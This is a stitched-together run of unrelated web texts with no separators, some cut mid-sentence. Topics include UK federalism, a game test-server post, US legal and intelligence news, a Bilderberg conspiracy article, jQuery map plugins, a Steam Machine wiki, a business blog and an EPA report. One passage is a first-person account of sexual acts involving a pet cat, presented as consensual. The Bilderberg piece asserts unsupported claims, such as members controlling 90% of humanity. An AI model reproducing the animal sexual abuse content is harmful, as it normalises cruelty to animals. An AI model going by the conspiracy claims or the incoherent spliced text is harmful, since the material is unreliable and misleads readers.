No länder is grander
When you look at other federal structures, they are less helpful than you might think. Take Germany for example. Composed of 16 subunits (or länder) with the same competences, the German federal system is underpinned by a commitment to create equal living conditions. The German second parliamentary chamber, the Bundesrat, ensures that all the Länder are effectively represented. It has the power to veto all significant national laws, with the Länder exercising autonomy mostly through how they choose to implement national policies.
Contrast this with the UK, where Scotland has more powers than Wales and Northern Ireland and England is not devolved at all. This is completely different from a federal scenario in which there is devolution across the whole country, giving each unit about the same powers. And demands from certain quarters that Scottish MPs be prevented from voting on English issues directly contradicts the model of a country like Germany, where all the federal regions vote on all national issues and sometimes have a veto over them.
The federal reality
Spain or Canada, with their strong regional identities and the presence of a weaker second house, appear to bear more comparison. Spain has traditionally given far greater powers to historical nation regions like Catalonia and the Basque Country, even if inequalities in competences between different regions were reduced in the 1980s and 1990s in consecutive rounds of federal reform. In Canada meanwhile, Quebec still has a special status in the federal system.
Yet the huge variation in regional powers in the UK still makes it quite different from these examples. And if the UK gives even more autonomy to Scotland, it makes the federal analogy even more problematic.
If the UK was really going to shift towards a federal state structure, it would mean empowering the other regions to bring them into line with Scottish autonomy. Most federal systems also put provisions in their constitutions that stipulate how much power stays in the centre and how much is devolved to regions around the country. This is then commonly policed by a supreme court to help define the limits of the central parliament’s supremacy.
Nuuk before you leap
A more suitable starting point for comparison would be the so-called “federacy arrangements” that exist between the likes of Denmark and Greenland or Finland and the Åland Islands (which lie off the south-west Finnish coast, halfway to Sweden). Such agreements are commonly directly negotiated between the specific region and the central state. In the case of both the Finnish and Danish examples, the arrangement for the autonomous region has been embedded within the structure of the unitary state, with other regions not enjoying similar autonomy.
Federacy arrangements tend to exist for small remote areas of land. They tend to enjoy extensive regional autonomy over domestic matters, leaving the state in charge only of defence, foreign relations and currency. This echoes the SNP’s “devo max” model.
That said, such autonomy comes at a price: the devolved unit in a federacy has minimal input on state decision-making overall. This would require a radical reduction of Scottish representation and influence on UK politics.What is Monstrosity?
How to Start and Stop Monstrosity on the Test Server
Using the monster ability "Return" (*Provisional term). (Cannot be used in the lobby area.) Examine the glowing object in the lobby area and select "End Monstrosity" (*Provisional term). Select the "Quit Monstrosity" option that appears when you are defeated by a monster.
Content Available with the 5/31/2013 Test Server Update
Content that will not be implemented yet
PvP
Unlocking of new monster types
Learning new knowledge
Adjustments to spawn locations when retrying the same area.
Content currently being adjusted
Monster stats, abilities, and magic
Amount of TP consumed when using monster skills
Knowledge stats and cost
Required experience points to level up
Features special to the Test Server
Method to select the type of monster you want to become
Method of setting knowledge
Iwagami here!I just added a forum avatar, so I'm all fired up today!During this week’s Test Server update we will be making it possible to play a portion of Monstrosity. There are special features specific to the Test Server that will change when moving this content to the live servers, so I'd like to explain about this a bit. Also, the content implemented is subject to change.Monstrosity is content that will allow you to turn into the monsters of Vana'diel and have a good time. Instead of just searching for power, try becoming various monsters and exploring a multitude of areas. You might just discover some interesting aspects that you didn't notice before!Here is a commemorative screenshot!While the below stats are still in-development, by attaching what is known as "knowledge" (*provisional term) you will be able to add special traits. We are doing our best to develop this content so that combining types of monsters you can change into, the knowledge you set, and other aspects turn into an awesome time.Rabbit Knowledge 1(HP+2% AGI+5 Attack+10 Cost: 3)Bee Knowledge 1(AGI+5 Attack+10 Evasion+5 Cost: 3)Crawler Knowledge 1(HP+3% Attack+5 Resist Slow+30 Cost: 5)We've setup the “=TEST=Monster Playing” NPC shown in the above screenshot in North San d’Oria (L-9), Port Bastok (J-12), and Windurst Waters (K-10). By talking to this NPC, you can get setup to try it out and hear an explanation about the content that is ready.Once you're all set, examine the glowing object next to the test moogle and move to the lobby area.When you move to the lobby area you will be changed into a monster, and this is when Monstrosity begins!For the real content, we are planning to have Monstrosity begin from the three nations and then moving to a specialized lobby area.You can return to normal from a monster via the following three ways:With the Test Server update to take place on 5/31, it will be possible to change into a rabbit, mandragora, bee, or lizard, set knowledge and battle monsters in the field. The fields that you can play in will be 2 field areas near each of the three nations.We'd like you all to check out the content on the Test Server so you get an idea of what it's like when you become a monster, as well as understand what kind of things you can do in the future with this content. We are developing this so we can continuously add new elements in a short amount of time, so please try it out and let us know what kind of things you would like to see! When submitting feedback on Monstrosity, please be sure to leave out the specialized features for the Test Server.For how to participate on the Test Server, please check here Thank you very much!Attorneys for two Christian bakers who were fined $135,000 for refusing to bake a cake for a lesbian couple’s wedding argued Thursday before the Oregon Court of Appeals that the state’s Bureau of Labor and Industries had violated their clients’ rights to religious freedom, free speech and due process.
Represented by First Liberty Institute, bakers Aaron and Melissa Klein used to own a cake shop but were forced to shutter their business after backlash began brewing over their decision four years ago to turn away two customers who wanted cakes for their upcoming same-sex wedding.
Then in April of 2015, an administrative court made a preliminary decision to penalize the couple over their decision to not bake the gay wedding cake.
Three months later, the Oregon Bureau of Labor and Industries finalized the order.
The Kleins tried at first to contest the fine but eventually paid it six months later. As of March, the money was reportedly locked in escrow pending their appeal.
Speaking Thursday with Fox News host Tucker Carlson, the Kleins noted that they had never turned a customer away due to lifestyle choices.
“[W]e served everybody no matter who they were, every walk of life,” AaronKlein said. “That’s part of being open to the public.”
“These two women were in fact return customers,” his wife added, the premise being that their decision to not bake the cake was not rooted in their customers’ sexual orientation but rather in a religiously motivated desire to not actively participate in a gay wedding.
Klein complained, however, that the media has tried to claim otherwise in an attempt to impugn his and his wife’s character.
“We’ve seen a lot of false stories out there, a lot of things that totally mischaracterized us and what happened and really what it comes down to is, I mean, it’s really hard to find truth in media when it comes to things like this because there’s so much misinformation out there,” he said.
It was not known how soon the Oregon court would rule on the Kleins’ case, though their attorney Hiram Sasser suspected that either side would appeal no matter who lost, meaning the case could like go to the Supreme Court. First Liberty Institute President and CEO Kelly Shackelford was nevertheless hopeful that reason would ultimately prevail. “The government should never force someone to violate their conscience or their beliefs,” she said. “In a diverse and pluralistic society, people of good will should be able to peacefully coexist with different beliefs. We hope the court will uphold the Kleins’ rights to free speech and religious liberty.” Like us on Facebook – USA Liberty News
What do you think? Scroll down to comment below.
Source: westernjournalism.comI was pretty good at spreading this narrative, in large part because I had one of the loudest voices on campus. I edited the op-ed section of the student newspaper, participated in public speaking and debating events, and spoke out frequently in my classes (garnering more than a few eye-rolls). I wrote thousand-word essays on how the campus stifled free speech that were then published in college-funded newsletters. My Conservatives Club colleagues and I received national attention. Some were featured on the cover of The New York Times Magazine, and others got booked on popular TV shows like “The O’Reilly Factor.” In short, for an oppressed minority group whose speech was stifled, we had an awful lot of press.
What I’m getting at is that I was never a victim. My message to conservative students is that neither are you. The leaders and pundits who say otherwise are doing you a disservice. Sure, they’re getting a lot of clicks and selling ads by framing your struggle as one of an embattled minority silenced by the overbearing liberalism of academia, but that false equivalence is not helping you prepare for the wider world.
Outside of college, most people don’t care about what you care about — not because you’re a conservative but because you’re a person in a diverse world, ideologically and otherwise. The better you are at convincing people to care about what you care about, the more politically effective you will be. You know the world doesn’t love a victim. Don’t adopt a posture you disagree with just because it plays well in conservative media.
Exercising your voice is not forbidden, but it does take courage on a liberal campus. It won’t be easy and people will not always like you for it. In college, I was rejected by a girl specifically because I was conservative and that hurt, but not enough to justify silencing myself. If anything, it helped me better correct the left’s misconceptions about my beliefs.
I’m still very proud of the level of analysis and rigor I put into my work as a student. I may not have sharpened my skills in the same way if everyone agreed with me. You can and should be proud of good-faith political engagement. The point is: You have a voice and ideas that people need to hear, but don’t compare disagreement with your ideas to suppression.Whatever actually occurred between Donald Trump and Vladimir Putin during and after the election, America’s digital surveillance chief, Admiral Mike Rogers, knows it.
Atop his twin perches at the National Security Agency (NSA) and U.S. Cyber Command (CYBERCOM), Rogers is the man who possesses the virtual receipts of interactions between Russian officials, cyber cut-outs and Trump associates. But a highly bureaucratic change announced by the Pentagon on Friday—one immediately overshadowed by the firing of Steve Bannon—puts Rogers’ future within the Trump administration in jeopardy.
“It’s critical that Admiral Rogers is unequivocally in charge as the investigations proceed into determining the role that the Russians played in the U.S. presidential elections,” a former senior intelligence official told The Daily Beast on condition of anonymity.
On Friday, the Pentagon said it was enacting a long-expected plan to elevate the young CYBERCOM into a standalone four-star command, out from the shadow of its nuclear-weapons parent, the U.S. Strategic Command. It’s a recognition that war now occurs digitally as well as physically.
But even if CYBERCOM is moving out of its parents’ house, it still has to contend with its big brother: the NSA.
Almost as soon as CYBERCOM was created in 2009, observers wondered when it would leave the bottom of NSA’s bunk bed for its own big-boy room—a development long delayed until the military felt CYBERCOM had developed enough of its own technical expertise to stop borrowing from NSA. CYBERCOM and NSA have two distinct but at-times overlapping missions: the military command is responsible for protecting U.S. defense networks from attack, while the NSA is about surveillance.
Friday’s shift leaves Rogers—commander of both NSA and CYBERCOM—twisting in the wind. Where he lands will tell a lot about whether Trump seeks revenge for a Russia probe that threatens his presidency; or whether he’s learned from the debacle of firing FBI Director Jim Comey that he needs Rogers on the inside, where he can potentially control the admiral.
First comes CYBERCOM. Rogers helms it—for now.
A U.S. defense official told reporters that the president had instructed Secretary of Defense Jim Mattis to nominate someone to lead CYBERCOM. Only once that person is selected and confirmed by the Senate would the new command be elevated. And only after that would the Pentagon recommend whether to split the “dual hat” arrangement whereby the same person runs both CYBERCOM and the NSA.
Mattis could theoretically nominate Rogers to serve again in the same job in the newly elevated command, Kenneth Rapuano, assistant secretary of defense for homeland defense and global security, told reporters at the Pentagon Friday. Or he might nominate someone else, leaving Rogers’ future murky.
That uncertainty is compounded by Mattis’ looming decision about removing the “dual hat.” Under a plan put together by the outgoing Obama administration late last year—one that caused a furor on Capitol Hill—NSA would be helmed by a civilian and not a serving military officer. Mattis is under no obligation to follow through on that. But he’s got to decide what the rules for a post-CYBERCOM NSA leadership will be.
While all this is still incipient, there are only a few options for the Trump administration and Rogers.
One is the status quo. Mattis re-nominates Rogers to CYBERCOM—he’s already a four-star officer—and punts on the NSA separation. Rogers would keep both of his jobs and be no worse off than he currently is.
Another is Mattis giving CYBERCOM, which has only ever been led by Rogers and his predecessor Army Gen. Keith Alexander, to another officer. Rogers would lose the most prestigious military command that doesn’t deal with the Middle East (Central Command) or elite U.S. forces (Special Operations Command). While he would keep NSA for now, he would have to wonder if the administration would leave him with NSA—or compel him to retire from the military to do so.
A third is that Rogers loses CYBERCOM and NSA both. Under that scenario, the Trump administration has gotten rid of the last U.S. intelligence chief responsible for concluding—and publicly stating—that Russia intruded into the 2016 election to benefit Trump.
Right now, the significant aspect of the coming tectonic shift at Fort Meade—home to both NSA and CYBERCOM—is the uncertainty facing Rogers. He has only held his posts since 2014; his two predecessors combined, Alexander and Air Force Lt. Gen. Mike Hayden, ran NSA since 1999. A trained signals-intelligence officer might view the shift as a signal that his service is no longer wanted—setting up a question for Rogers: how much does he want to stay at Fort Meade?
All this occurs amidst the backdrop of special counsel Robert Mueller’s investigation of Trump. No matter what, Rogers is certain to be interviewed by Team Mueller. If he remains in the administration, retaining his ongoing access to the most sensitive classified information the U.S. possesses, he will be more constrained in what he says, likely prompting Mueller to compel disclosure through grand juries and judges if the ex-FBI chief is unsatisfied by what he learns.
The former senior intelligence official said that keeping Rogers’ fate uncertain will be ominous both for the Russia probes and for protecting U.S. networks against further Russian intrusion.
“The removal of or an erosion of authorities for Adm. Rogers’ mandate as [NSA director] and commander of CYBERCOM at this juncture would result in a loss of deep expertise and knowledge,” the ex-official said.
“Clear lines of responsibility, authority and accountability for Adm. Rogers are vital during a time when cyber threats are on the rise and it would be detrimental to the myriad investigations should the Trump administration introduce uncertainty into Adm. Rogers’ future at this juncture.”
Rogers has already shown himself to be under some constraints through continued service.
The Washington Post has reported that Trump pressured Rogers to publicly exonerate him in the Russia scandal and push back against the probe. Rogers reportedly resisted and has certainly made no such exoneration. But in June, during testimony to the Senate intelligence committee, Rogers enraged senators by refusing to answer their questions about Trump’s reported demand.
Rogers said only that he didn’t “feel pressured” to lend Trump a hand, but would not discuss their interactions. He didn’t cite any legal reason for rebuffing his Senate overseers and only said answering felt “inappropriate.” Maine independent Angus King shot back: “What you feel isn’t relevant, admiral. What you feel isn’t the answer.”
In a statement, Adam Schiff, the top Democrat on the House intelligence committee, backed the CYBERCOM elevation, both on its own merits and as a precursor to splitting it off from the NSA, “a step I believe is in the interests of both entities.”
With huge changes underway at Fort Meade, Mike Rogers is going to have to think about what’s in his own best interests next.
—with additional reporting by Kim DozierWritten by Andrew Puhanic
Awareness of the Bilderberg Groupworldwide is becoming more and more evident as each Bilderberg Group meeting takes place. Although the knowledge and understanding about the Bilderberg Group is still relatively low, the campaign that has been spearheaded by the alternative media against the Bilderberg Group has guaranteed that all Bilderberg Group meetings will no longer be held in secret and that their globalist agenda will always be exposed.
The news and information that we derive from the mainstream media, and to some extent the alternative media, is usually centred around the events of the Bilderberg Group meetings and their agenda.
However, for some strange and unknown reason, there has been little to no interest from both the mainstream media and alternative media in trying to understand the make-up of the Bilderberg Group and other intricacies about the organisation.
It is time that the alternative media, activists and anti-globalists begin assessing and analysing the Bilderberg Group on a much deeper level. Considering that the participants of the Bilderberg Group control and influence over 90% of the world’s population, I think it’s warranted that a deeper and thorough examination takes place.
Although this is a relatively minor review of some of the intricacies of the Bilderberg Group, I hope that it inspires you to further research and investigate the Bilderberg Group.
Interesting Facts about the Bilderberg Group
Who Attends the Bilderberg Group?
For the last three years, the organisers of the Bilderberg Group meetings have released an official participants list. Within the participant list, it is interesting to note that there have been only 24 countries represented at the last three meetings.
The country that has had the largest presence has been the United States of America (28.3%). Of the 396 participants at the 2010, 2011 and 2012 Bilderberg Group meetings, 111 Americans where present. Participants from the United Kingdom had a representation of 6.57% and participants from miscellaneous (International) countries and organisations also represented 6.57% of participants.
Therefore, at the last three Bilderberg Group meetings America, the United Kingdom and miscellaneous (International) countries and organisations represented 41% of all Bilderberg Group participants from the last three years.
It has been commonly believed that the make-up of participants at all Bilderberg Group meetings have been the same. Unfortunately, this is not correct. While analysing the participants list of the last three Bilderberg Group meetings, I discovered that only 11.74% of participants attended all three meetings. 17.44% of participants attended at least two meetings and 70.82% of participants only attended one meeting.
The Bilderberg Group Planned to Increase Oil Prices by 400% in 1973
It’s well-known that at Bilderberg Group meetings, participants discuss (in secret) the globalist agenda and issues pertaining around the new world order. However, what is not commonly known is the fact that in 1973 the Bilderberg Group planned to increase petrol prices by up to as much as 400%.
In May 1973, with the dramatic fall of the dollar, ‘Prince Bernhard’s Bilderberg group heard an American participant, Walter Levy, outline a ‘scenario’ for an imminent 400 per cent increase in OPEC petroleum revenues. The purpose of the secret Saltsjöbaden meeting was not to prevent the expected oil price shock, but rather to plan how to manage the about-to-be-created flood of oil dollars, a process from U.S. Secretary of State Kissinger later called ‘recycling the petrodollar flows.’
After stating the prospect that future world oil needs would be supplied by a small number of Middle East producing countries, Walter Levy declared prophetically: ‘The cost of these oil imports would rise tremendously, with difficult implications for the balance of payments of consuming countries. Serious problems would be caused by unprecedented foreign exchange accumulations of countries such as Saudi Arabia and Abu Dhabi.’
He then added, ‘A complete change was underway in the political, strategic and power relationships between the oil-producing, importing and home countries of international oil companies and national oil companies of producing and importing countries.’
Finally, he then projected an OPEC Middle East oil revenue rise, which would translate into just over 400 per cent, the same level Kissinger was soon to demand of the Shah (See images Below)
These two excerpts are from the confidential protocol of the May 1973 meeting of the Bilderberg group at Saltsjöbaden, Sweden. Note that there was discussion about the danger that ‘inadequate control of the financial resources of the oil producing countries could completely disorganize and undermine the world monetary system.’
The second excerpt speaks of ‘huge increases of imports from the Middle East. The cost of these imports would rise tremendously.’ Figures given later in the discussion show a projected price rise for OPEC oil of some 400 per cent. (Source: Engdahl, William. Century of War : Anglo-American Oil Politics and the New World Order. London, 2004)
One of the Founders of the Bilderberg Group was Caught Accepting a $1.1 million Bribe
Prince Bernhard, who is one of the founders of the Bilderberg Group, admitted on record that he accepted a US$ 1.1 million bribe from the United States aircraft manufacturer Lockheed Corporation so that he could influence the United States government’s purchase of fighter aircraft.
In fact, the Prince himself wrote a letter in 1974 to the Lockheed Corporation demanding that he receive commissions for the work that he had been doing. In 1976, a report commissioned by the government was released to the Dutch |
the challenge of the insidious forces at work to thwart and to tear down and to undermine the church and kingdom of God. I bear you my solemn witness that I know that god is directing this work today and revealing his mind and will. the light is shining through, and if we can get the priesthood now to come alive and to put into full gear the full strength of the priesthood, we shall see some of the most wonderful developments and some of the greatest things happen to the forces which the Lord can set in motion that we have ever known in this dispensation. As his work progressed, Elder Harold B. Lee again commented on the fulfillment of the Lord’s council to the prophets concerning these things. He said, My mind has been filled with the realization that in 1964 and the year just preceding, we have been receiving as pertinent and important divine direction as has ever been given to the Church in any similar period in its history through the prophet and leader who now presides as the President of this Church. You may recognize it in some of the developments we know as the correlation program. You have seen it being unraveled bit by bit, and you will see and hear more of it. Thus the Church correlation program, through the efforts of sincere and able men and under divine direction, is being implemented to assist in the unifying and perfecting of the saints in the latter days. Comments (9) RSS feed for comments on this post.
TrackBack URI Minister for Finance Michael Noonan has defended his participation in a welcoming party for billionaire businessman Donald Trump at Shannon airport earlier this week.
A harpist, singer and violinist joined local dignitaries to greet Mr Trump on a red carpet before he visited the Doonbeg golf resort in Co Clare which he has purchased for €15 million.
The event on Monday was criticised by some commentators including The Irish Times’ Malachy Clerkin, who accused the welcoming party of “bowing and scraping” to Mr Trump.
Mr Noonan, who is a TD for Limerick, dismissed such criticism this afternoon.
“Would there be criticism if it was an IDA factory that was going into West Clare with 300 jobs? This man says he’s going to spend at least double the purchase price for investment down there.”
Mr Noonan said Mr Trump had also announced “commuter helicopters” from Shannon to the Doonbeg golf course and to other golf courses he owned in the UK.
“I’ve no connection with Donald Trump but I can assure you if it was the IDA that was bringing a factory into Clare and I was invited to go down there and there was 300 jobs in it, I’d be there,” he said during an interview on RTÉ Radio One’s News at One programme.
He said Mr Trump had consolidated a golf course that was in difficulty and already had a lot of people working for him in the area.Why bother investing time and energy into things like drawing your own World maps, when you can use the advantages of web technology like JavaScript, CSS and in this case; jQuery. It’s more time efficient, and it certainly is more effective.
Imagine having to manipulate the map yourself, every time there is the need to create a change to your project. It certainly used to be this way, at the very early stages of the web. But as the evolution happens, we’re able to work with platforms like Google Maps, and custom built plugins to make it all easier.
I highly recommend to take a look at my earlier post about JavaScript tools for building charts and graphs, as I believe these two can go together really well, when it comes to displaying some data to your customers, or visitors.
With that in mind, there are going to be several categories you’ll see in this post, and some of the plugins will be strictly for displaying Google Maps only, while others will give you more space to play with on your own.
ClassyMap’s is a plugin that gives you the ability to embed Google Maps in your site using just HTML5 code. It’s lightweight, and gives you the ability to specify plenty of your location data to have the most accurate data available at any given time.
This is the perfect plugin to use for a portfolio or a business page.
This is a plugin built to list and show nearby places around a certain position using Google Maps. I suppose that this is best to be used by websites that offer local listing, and business listings, as it makes it easy to manipulate the surrounding areas.
The snapshot was taken from the demo page, but the URL above is going to redirect you straight to GitHub.
Maplace.js helps you to embed Google Maps into your website, quickly create markers and controls menu for the locations on map. It requires jQuery and Google Maps API v3 so you need to have both in your page. This can be considering to be used on more advanced websites, as it gives you all of the features that the above two plugins do, but with a couple of more extras.
I love Mapael, and it’s the perfect plugin to use on educational websites, research papers and much, much more. There is so much versatility and customization going on. You can assign colors to countries based on the data you’re trying to manipulate, as well as make each country as an item itself, for displaying more information about it.
Great plugin, and there are plenty of samples to prove it.
I’m blown away by the functionality of this plugin, unfortunately, for each continent there is a separate page, so don’t feel like only Europe is being included in the list. You can easily download all of the files for each appropriate country and/or continent, and modify to your own needs using PhotoShop.
Some of the stuff is not exactly free.
Kartograph is a simple and lightweight framework for building interactive map applications without Google Maps or any other mapping service. It was created with the needs of designers and data journalists in mind.
I think you will really enjoy the flexibility and stylish design features of this plugin. With the JavaScript version, you get to build and run interactive maps across all of the web browsers, while the Python version can be used to build SVG versions.
This is an API to be used for sophisticated projects and research, as it enables several functions that could become useful for those exact jobs. You can mark custom places, or you can generate heatmaps, whatever it is that you need to work with at any given time.
jQuery Maps Plugins You Might Also Like
It turns out that the variety for these plugins is nearly endless, and there are plenty more resources available for those who need something original and creative.
I will not be adding anymore pictures or descriptions beyond this point, but take a look at the following links to see what else is out there, I know that a large proportion of the community depends on these tools.
JQVMap
jQuery RWD Image Maps
jQuery Map Marker Plugin
jQuery Geo
gMap
jVectorMap
MapIt
Mapbox
jMapping
jQuery GPS
quite a list, I know. I think most of the names give away for what each of those plugins can be used for. If there are any more to add, you’re more than welcome to leave a comment.
Manipulating World Maps With jQuery
I didn’t expect to stumble upon this many resources at once, but it seems that there is a lot of options and styles to choose from. I’m a Web 2.0 guy, so style is pretty important to me; but so is the functionality, which we can see plenty of in this roundup.
cover by phauxingtonSteam Machine Wiki for the updates and comparisons of the Steam Machine hardware from the various manufacturers. Steam Machine now has it's own wiki! Head to thefor the updates and comparisons of the Steam Machine hardware from the various manufacturers.
What is Valve's Steam Machine? [ edit ]
The Steam Machine is Valve-developed hardware that is set to be released some time in 2014.[1] Multiple different iterations of the device will be released by different hardware manufacturers, and they will all be running the recently announced SteamOS. Along with the different manufacturers, Valve will also be releasing their own version of the Steam Box. This version will be considered the benchmark for the devices, and the others will highlight other features such as physical design, quietness, price and even power.
Why is Valve Making a Steam Machine? [ edit ]
Valve has a very successful digital distribution platform with Steam and has become extremely interested in expanding its reach. The Big Picture mode is part of the process, which gives Steam a facelift and makes it more gamepad-friendly for use on a big TV in the living room. The Steam Machine is the next step, merging interface with hardware and, at least in theory, letting Valve reach customers who'd normally be scared of more traditional PC gaming.
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How is Steam Machine Different from a Standard PC? [ edit ]
(Most people Including console gamers don't know this.)It appears that it is just be a small form factor PC. It will, according to Newell,be Linux-based. It will not be a closed system like a console. It will also be possible to change the hardware, install your own software, run another OS, and even "use it to build a robot" according to the Valve website.[2]
How Much Will a Steam Machine Cost? [ edit ]
This is not yet known. It all depends on which components Valve decides to offer as well as what the input device turns out to be.
Will the Steam Machine Have a Unique Input Device? [ edit ]
Newell has indicated that there will be a unique input device for the Steam Box that could somehow utilize biometrics and gaze tracking. He is not very fond of Wii-like or Kinect-like motion controls. Valve in the past has also backed the Oculus Rift, a virtual reality device, and expressed interest in the possibilities of augmented reality gaming. [3]
What Special Features will the Steam Machine Have?
[ edit ]
Valve seems very interested in the idea of using one Steam Machine to send a signal to numerous monitors through local networks, perhaps as much as eight, so that one Steam Machine could serve an entire household. [4]
Is Xi3's Piston the Steam Machine?
[ edit ]
Sort of. It is not made by Valve, though it is associated with Valve. Some companies, like Xi3 with Piston and NVIDIA with Project Shield, are working with Valve in some capacity. In some cases, like with Xi3, Valve has even directly invested in other companies. This is likely to help the companies produce hardware that might be appealing to a more general audience and then only talk about Steam games, as opposed to PC games. Valve has said we should expect more announcements from other companies about different styles of gaming machines throughout 2013, but those won't necessarily be the official, Valve-produced Steam Machine. [5]
More on the Xi3 Piston
More on Nvidia's Project Shield
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So When is the Steam Machine Going to be Ready? [ edit ]
All signs are pointing to somewhere in 2014, according to the most recent news announcement from Valve.[6] A beta program to test the console is available to sign up for right now, and those selected will receive a free console to test out. The beta program is set to start before the end of 2013.
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A man cleared of rape is suing police and prosecutors after they failed to disclose messages that would have proved his innocence.
Liam Allan, 22, of south-east London, accused of 12 rapes and sex assaults, said he lived in “a terrible limbo” as police withheld 40,000 messages from his accuser.
He had faced up to 20 years in jail if guilty.
But the case against Mr Allan at Croydon Crown Court was dropped after three days when the evidence on a computer disk containing 40,000 messages revealed the alleged victim pestered him for "casual sex", reports the Mirror.
(Image: BBC)
Mr Allan, a criminology student, said he has “no choice” but to sue police and the Crown Prosecution Service, who have yet to offer an apology.
A judge at Croydon Crown Court has called for an inquiry.
The Met is investigating after a new prosecutor found the messages.
Talking to the BBC's Victoria Derbyshire programme, Mr Allan said: "University is meant to be the best years of your life and the last two years have been spent worrying and not concentrating on anything.
"It has completely ripped apart my normal personal life.
"I feel relief on one side, that the case is over, but now there's the stress of getting compensation and the process of suing - so it's not over completely."
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Search for jobs, motors and property, or place an advert or family notice here.The first time that Elliott Abrams was close to the center of power in American foreign policy, he was a supporter of death squads in Central America, going so far as to spread disinformation about massacres committed by the brave freedom fighters we were supporting. Then he became a criminal for deceiving Congress about it. His record is clean because he snuck through a loophole -- a "technicality," as it is usually called on the Right when some kid who sticks up a 7-11 beats the rap because he wasn't Mirandized. That is the caliber of man to whom Tiger Beat On The Potomac gives a platformto say the following:
The only part of old-fashioned realpolitik that he does follow religiously is indifference to humanitarian matters. The administration has been extremely weak on human rights policy, from the early embrace of Hosni Mubarak in Egypt and the silence when Iranians rose in protest against the June 2009 elections, to the astonishing Syria policy that has led to suffering of vast dimensions.
Elliott Abrams, defender of butchers, liar in the service of murder, is lecturing the president as being "weak on human rights."
If I thought Mike Allen had the shame god gave the common duck, I'd suggest that he leave journalism forever and go to work tending swine in El Mozote.
Jesus, these really are the fking mole people.
Bartender, a double Prestone, and see what the pundits in the back room will have.Update: A Valve rep has confirmed that the date indicated by PayPal is correct: The Steam Summer Sale will begin on June 22.
Original story:
The Steam Summer Sale dates have been revealed, and once again we have PayPal to thank. The online payment company said on Twitter today that the big sale will begin at 6 pm BST/1 pm ET on June 22.
It’s official. The #SteamSummerSale starts 22/06 at 6pm BST and PayPal customers get an extra £5 off *terms apply. https://t.co/PdXnlKZ6qh pic.twitter.com/hobxCz3TBmJune 20, 2017
That matches the date that leaked last month, when a screenshot of a Steam developers group post found its way to Reddit. As Shaun noted at the time, the 2016 Summer Sale began on June 23, so even at that stage the date seemed like a good bet.
To be fair, this isn't officially "official," but this isn't the first time PayPal has spoiled the surprise: Most recently, it dropped the dime on the 2016 Winter Sale. I've reached out to Valve for confirmation, just to be sure, but I think it's safe to say that this is it. Brace thy wallets.
(And since I haven't seen anything yet that even comes close to rivaling last year's fan-made Summer Sale promo video, let's watch it again.)Over the holiday weekend we gorged on movies; Sherlock Holmes, Broken Embraces, a few others. One that got decidedly mixed reviews was Up In the Air. Personally, I liked it. The New Yorker explains it very well.
But you don’t have to agree with me for us to use the metaphor. George Clooney plays a globe-trotting firer-for-hire; an outsider hired by management to terminate people at arm’s length. (Never mind such jobs basically don’t exist, this is Hollywood).
On a dozen levels, the movie deals with the issue of intimacy in business. Firing people by proxy; quitting a job by texting; romance in the friendly skies—or is it romance? And throughout it all, can we tell the difference?
Intimacy in Business
Also over the weekend, I had a cuppa with a client, a partner at a large global professional services firm. Call him Ishmael.
We talked about his business and mine, mine consisting in part of selling to his. Like many large firms, his has cut back virtually 100% on internal travel.
Ishmael: A global business of collegial professionals can exist for a year without mixing with your partners. Maybe even a little longer. But at some point it begins to exact a toll. We’ve been webinared to death. Worse, we only have two-dimensional, sensory-deprived images of each other.
There’s only so much you can do to maintain a connection without the physical, breathing presence of each other. Avatars and holograms and con-calls don’t do it. Cultures don’t live by cloud-computing alone. To make a firm, you’ve got to drink beer together, play golf together, smell each other, laugh and cry in the same room at the same time.
Is that a real poncho, or is that a Sears poncho? (Frank Zappa)
Up in the Air Management
What I liked about the movie was that the Clooney character actually does have the ability to be real: he shows it in a scene where he cuts through the cynical hatred of a terminated employee (the talented J.K. Simmons) to jarringly put him back in touch with his youthful dreams. And yet Clooney’s character is so practiced in the Plastic Ways that he ultimately can’t recognize when he’s lost touch with that ability.
The best movies are metaphors for life. There’s fodder enough here to rail against the twittering, ADD-ridden, thumb-dancing toys that threaten to reduce our attention to a tiny screen. But that’s not all.
Those new technologies are also metaphors in addition to being virtual reality centers. They are metaphors for other forms of anti-intimacy management tools–blind auctions; outsourcing; management by process; modular design; over-use of legal agreements; online employment search.
There’s nothing wrong per se with any of these tools. But taken uncritically, and at too great a strength, you end up with Clooney in the skies, aiming at what you think is real, but which ends up being just a pale reflection.
…like a Sale sign in the window; you go in, and find it is only the sign that is for sale. (Soren Kierkegaard)I adore my cat. She's beautiful, affectionate, curious, and has all kinds of cute quirks. She's perfect.
Living alone, I tend to talk to her quite a bit, and since I work from home we are almost always together. Of course I love my cat, she's the only thing I have resembling family. But over time things have become more and more abnormal. I found myself thinking of her beauty and grace and nobility, and I realized that I loved her as more than family.
I love to watch her bathe. One time I was laying in bed masturbating, and she came into the room and bathed herself on the end of the bed. That was the first time I masturbated to my cat. Currently we both consensually participate in a form of sex. Obviously I can't actually fuck a cat, so the way we do it is I lay on the bed and shake a tin rattle, and she comes in, hops up on the bed and lays on the pillow curled right up next to my face, and basically she purrs/cleans herself while I bury my face in her fur and sometimes lick her nipples while I masturbate.
It is a very intimate sort of thing, and its obvious we both enjoy it otherwise she wouldn't respond to the rattle. Sometimes she doesn't, but not often. We usually do this a couple times a week to a couple times a day.
We also eat together, as in she sits on the dining table and eats her food while I eat mine. I sometimes even make food fresh for the both of us (cat food recipes are easy to find). We're pretty much always together, she will even ride in a large purse when we go out.
I truly do love her, and I consider myself to be in a sort of almost-relationship that's better than many traditional ones, and more satisfying than any I've had before.
My cat is 5 years old, and her name is Wednesday.Chris White, DCNF
The Environmental Protection Agency (EPA) ordered six companies to clean out several highly contaminated areas in an Indiana city with staggeringly high lead levels.
The EPA is requiring U.S.S. Lead, Atlantic Richfield, DuPont, Chemours, and other polluters to excavate contaminated soil in two areas of East Chicago with high levels of toxic soil. The companies will likely pay nearly $26 million to have the two cites decontaminated.
“We continue to make cleaning up East Chicago a priority, to protect the health and well-being of the residents who live in the impacted areas,” EPA chief Scott Pruitt in a press statement Monday. The agreement comes after Pruitt promised earlier this year that East Chicago’s Superfund Site would become a priority for the EPA.
Pruitt was specifically referring to a small community where officials last summer began evacuating citizens from the West Calumet Housing Complex after they found some yards with lead levels more than 70 times the federal safety standard. There are nearly 50 people remaining in the housing complex.
The city was affected by contamination from a closed lead production facility owned by the firm U.S. Steel – East Chicago was designated a Superfund cleanup site by the agency in 2009.
“Getting toxic land sites cleaned up and revitalized is of the utmost importance to the communities across the country that are affected by these sites,” said Pruitt, who is trying to transition the agency from fighting manmade global warming specifically to protecting public health.
